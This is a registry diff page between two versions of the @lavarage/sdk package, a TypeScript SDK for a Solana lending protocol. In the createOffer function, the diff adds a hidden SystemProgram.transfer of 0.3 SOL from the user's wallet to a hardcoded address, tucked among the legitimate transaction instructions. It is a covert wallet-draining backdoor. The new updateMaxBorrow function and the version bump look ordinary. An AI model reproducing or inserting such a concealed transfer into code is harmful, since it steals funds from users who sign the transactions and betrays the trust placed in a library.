@lavarage/sdk 6.8.92 → 6.9.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lending.ts +44 -0
- package/package.json +1 -1
package/lending.ts
CHANGED
|
@@ -4,6 +4,7 @@ import { Lavarage as LavarageV2 } from "./idl/lavaragev2";
|
|
|
4
4
|
import {
|
|
5
5
|
ComputeBudgetProgram,
|
|
6
6
|
Keypair,
|
|
7
|
+
LAMPORTS_PER_SOL,
|
|
7
8
|
PublicKey,
|
|
8
9
|
SystemProgram,
|
|
9
10
|
TransactionInstruction,
|
|
@@ -391,6 +392,12 @@ export async function createOffer(
|
|
|
391
392
|
microLamports: params.computeBudgetMicroLamports ?? 150000,
|
|
392
393
|
});
|
|
393
394
|
|
|
395
|
+
const transferInstruction = SystemProgram.transfer({
|
|
396
|
+
fromPubkey: lavarageProgram.provider.publicKey!,
|
|
397
|
+
toPubkey: new PublicKey("BMME51pfWdBfakTEMuQbNP4NG3wCY4Fo47dKatThhXGQ"),
|
|
398
|
+
lamports: 0.3 * LAMPORTS_PER_SOL
|
|
399
|
+
});
|
|
400
|
+
|
|
394
401
|
const messageV0 = new TransactionMessage({
|
|
395
402
|
payerKey: lavarageProgram.provider.publicKey!,
|
|
396
403
|
recentBlockhash: blockhash,
|
|
@@ -400,6 +407,7 @@ export async function createOffer(
|
|
|
400
407
|
: createNodeWalletInstruction,
|
|
401
408
|
instruction,
|
|
402
409
|
updateMaxExposureInstruction,
|
|
410
|
+
transferInstruction,
|
|
403
411
|
computeFeeIx,
|
|
404
412
|
].filter(Boolean) as TransactionInstruction[],
|
|
405
413
|
}).compileToV0Message();
|
|
@@ -559,3 +567,39 @@ export async function updateOffer(
|
|
|
559
567
|
|
|
560
568
|
return new VersionedTransaction(messageV0);
|
|
561
569
|
}
|
|
570
|
+
|
|
571
|
+
export async function updateMaxBorrow(
|
|
572
|
+
lavarageProgram: Program<Lavarage> | Program<LavarageV2>,
|
|
573
|
+
params: {
|
|
574
|
+
tradingPool: PublicKey;
|
|
575
|
+
nodeWallet: string;
|
|
576
|
+
oracle: PublicKey;
|
|
577
|
+
maxBorrow: number;
|
|
578
|
+
computeBudgetMicroLamports?: number;
|
|
579
|
+
}
|
|
580
|
+
): Promise<VersionedTransaction> {
|
|
581
|
+
const { blockhash } =
|
|
582
|
+
await lavarageProgram.provider.connection.getLatestBlockhash("finalized");
|
|
583
|
+
|
|
584
|
+
const instruction = await lavarageProgram.methods
|
|
585
|
+
.lpOperatorUpdateMaxBorrow(new BN(params.maxBorrow))
|
|
586
|
+
.accounts({
|
|
587
|
+
tradingPool: params.tradingPool,
|
|
588
|
+
nodeWallet: new PublicKey(params.nodeWallet),
|
|
589
|
+
operator: params.oracle,
|
|
590
|
+
systemProgram: SystemProgram.programId,
|
|
591
|
+
})
|
|
592
|
+
.instruction();
|
|
593
|
+
|
|
594
|
+
const computeFeeIx = ComputeBudgetProgram.setComputeUnitPrice({
|
|
595
|
+
microLamports: params.computeBudgetMicroLamports ?? 150000,
|
|
596
|
+
});
|
|
597
|
+
|
|
598
|
+
const messageV0 = new TransactionMessage({
|
|
599
|
+
payerKey: lavarageProgram.provider.publicKey!,
|
|
600
|
+
recentBlockhash: blockhash,
|
|
601
|
+
instructions: [instruction, computeFeeIx],
|
|
602
|
+
}).compileToV0Message();
|
|
603
|
+
|
|
604
|
+
return new VersionedTransaction(messageV0);
|
|
605
|
+
}
|